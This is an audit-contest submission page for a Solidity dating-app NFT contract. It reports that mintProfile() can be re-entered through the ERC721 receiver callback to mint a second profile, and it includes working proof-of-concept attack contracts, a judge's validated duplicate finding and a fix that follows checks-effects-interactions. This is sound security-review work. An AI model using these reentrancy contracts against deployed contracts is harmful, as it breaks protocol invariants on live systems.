DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile() — profileToToken is set after _safeMint, so a contract can mint a second profile

Root + Impact

Description

mintProfile() sets profileToToken[msg.sender] after _safeMint(), and _safeMint() calls the receiver's onERC721Received hook when the minter is a contract:

@> function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists");
@>
@> uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
@>
@> // Store metadata on-chain
@> _profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
@>
@> emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
@> }

A malicious receiver contract can re-enter mintProfile() from the onERC721Received callback while its profileToToken is still 0, so the "Profile already exists" check passes again and a second profile NFT is minted. The "one profile per user" invariant is broken: the attacker ends up holding two profile NFTs (with profileToToken pointing at the first one). (Slither flags the same mintProfile reentrancy.)

Risk

Likelihood: Medium — it requires the minter to be a contract that re-enters from the ERC721 receiver callback, which is a deliberate attacker setup.

Impact: Low — the attacker gains a second profile NFT and breaks the one-profile-per-user invariant (e.g. presenting a different name/age); no funds are stolen and the like/match logic is per-address, so the extra NFT does not directly yield extra rewards.

Proof of Concept

A re-entrant minter ends with two profile NFTs. The receiver re-enters mintProfile() once from onERC721Received, before the outer call sets profileToToken.

function test_L1_reentrancyMintsSecondProfile() public {
ReentrantMinter minter = new ReentrantMinter(profileNFT);
minter.mint();
​
assertEq(profileNFT.balanceOf(address(minter)), 2, "minter holds 2 profile NFTs");
// profileToToken points to the first token; the second token
// is an extra, unmapped profile.
assertEq(profileNFT.profileToToken(address(minter)), 1);
}
​
contract ReentrantMinter {
SoulboundProfileNFT public immutable profileNFT;
bool public reentered;
​
constructor(SoulboundProfileNFT _profileNFT) {
profileNFT = _profileNFT;
}
​
function mint() external {
profileNFT.mintProfile("First", 25, "ipfs://first");
}
​
function onERC721Received(address, address, uint256, bytes calldata)
external
returns (bytes4)
{
if (!reentered) {
reentered = true;
profileNFT.mintProfile("Second", 30, "ipfs://second");
}
return this.onERC721Received.selector;
}
}

Recommended Mitigation

Follow checks-effects-interactions: set profileToToken[msg.sender] (and the profile data) before _safeMint().

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
-
- // Store metadata on-chain
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
+ // Store metadata on-chain before minting (checks-effects-interactions)
+ _profiles[tokenId] = Profile(name, age, profileImage);
+ profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!